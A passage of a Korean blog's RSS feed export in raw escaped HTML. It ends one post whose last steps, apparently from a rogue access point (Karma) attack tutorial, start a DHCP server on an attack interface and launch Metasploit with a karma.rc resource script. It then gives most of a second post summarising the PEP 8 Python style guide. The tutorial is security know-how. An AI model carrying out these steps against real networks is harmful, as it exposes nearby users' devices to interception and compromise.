srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2618864D57C85C7D37&quot; width=&quot;671&quot; height=&quot;656&quot; filename=&quot;009.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x08. DHCP Server Activation&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;mkdir -p /var/run/dhcpd &amp;amp;&amp;amp; chown dhcpd:dhcpd /var/run/dhcpd&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 671px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/23308B5057C85C9523&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F23308B5057C85C9523&quot; width=&quot;671&quot; height=&quot;654&quot; filename=&quot;010.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&amp;nbsp;cat /var/lib/dhcp3/dhcpd.leases&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;DHCP 서버가 클라이언트 호스트에게 할당한 IP 주소에 대한 할당 정보를 기록&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 670px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/26532F4D57C85CB102&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F26532F4D57C85CB102&quot; width=&quot;670&quot; height=&quot;462&quot; filename=&quot;011.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x09. Metasploit&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt; msfconsole -r karma.rc&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 673px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2620E84857C85CC422&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2620E84857C85CC422&quot; width=&quot;673&quot; height=&quot;654&quot; filename=&quot;012.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/272</guid>
      <comments>https://do9dark.tistory.com/272#entry272comment</comments>
      <pubDate>Fri, 2 Sep 2016 02:19:06 +0900</pubDate>
    </item>
    <item>
      <title>(PEP 8) Style Guide for Python Code</title>
      <link>https://do9dark.tistory.com/270</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);&quot;&gt;PEP 8 -- Style Guide for Python Code&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;PEP는&amp;nbsp;Python Enhancement Proposal의 약자로 우리말로 번역하면 파이썬을 개선하기 위한 제안서이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;좀 더 자세한 내용은 PEP 0, 1을 읽어보면 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;(&lt;/span&gt;&lt;a href=&quot;https://www.python.org/dev/peps/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;https://www.python.org/dev/peps/&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;PEP 8은 파이썬 코드를 작성하는 스타일에 대한 가이드를 제시한 내용이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;(Coding Convention)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;물론, 어디까지나 해당 내용은 가이드이며, 파이썬 코드를 작성하게 되는 주변 환경에 맞춰서 일관성있게 해주는 것이 더 중요하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;PEP 8 내용 일부를 요약하면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;Code lay-out&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 들여쓰기는 공백 4칸&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 들여쓰기는 탭보다 스페이스를 사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 한 줄은 최대 79자까지&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 최상위(top-level) 함수와 클래스 정의는 2줄씩 띄어쓰기&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 클래스 내의 메소드 정의는 1줄씩 띄어쓰기&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;Whitespace in Expressions and Statements&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 불필요한 공백 제거&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;[](parentheses), ()(brackets or braces) 안&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;,(comma), ;(semicolon), :(colon) 앞&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;-&amp;nbsp;a keyword argument 또는&amp;nbsp;a default parameter value의&amp;nbsp;equal(=)는 앞, 뒤에 공백 제거&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;Naming Conventions&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;변수명&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은 소문자와&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;_(underline)을 사용하며 _(underline)&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은 위치와 수에 따라&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;의미가 다름&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;single_trailing_underscore_: 파이썬 기본 키워드와 충돌을 회피하기 위해 사용&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;_single_leading_underscore: &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;내부적&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;으로 사용되는 변수&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; line-height: 16.08px; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;protected)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;__double_leading_underscore: &quot;magic&quot; objects 또는&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;attributes 용도로&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;사용&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; line-height: 16.08px; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;private&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;모&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;듈(Module)&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;명&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은 짧은 소문자와 _(underline) 사용&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;모듈&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은 파이썬 파일(.py)과 대응하기 때문에 파일 시스템과 충돌나지 않도록 주의&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;C/C++ 확장 모듈은 _(underline)로 시작합니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;클래스명&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은 CamelCase로 작성&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;변수명과 동일하게 내부적으로 사용될 경우 _(underline)을 사용&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;클래스의 인스턴스 메소드&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;에서&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;첫 번째 파라미터(해당 객체를 참조)의 이름은&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;self로 지정&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;클래스 메소드&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;에서는 첫 번째 파라미터(해당 클래스를 참조)의 이름은&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;cls로 지정&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;함수명&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;소문자와 _(underline) 사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;상수(Constant&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;)명은&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;모듈 단위에서만 정의하며 모두&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;대문자와 _(underline) 사용&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;Programming Recommendations&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- None 비교 시 is나 is not만 사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;if not A&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;is&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;보다 if A&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;is not B를 사용&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;- 길이를 확인하여&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;empty sequences(strings, lists, tuples)&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;을 확인하는 방법&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;은 지양&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;(ex. if len(seq):&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;empty sequences&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;(strings, lists, tuples)의&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;&amp;nbsp;경우 False, 그렇지 않을 경우는&amp;nbsp;True이기 때문에 True/False로 확인하는 방법을 지향&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;(ex. if seq:&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 10pt; font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- boolean type의 값은 ==를 통해 비교 지양&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 한 줄로 된 if문, for, while 반복문, except 복합문은 지양&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;raise ValueError, 'message'&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;보다&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;raise ValueError('message')를&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif;&quot;&gt;사용&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;- 예외 처리 시 명확하게 명시&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span 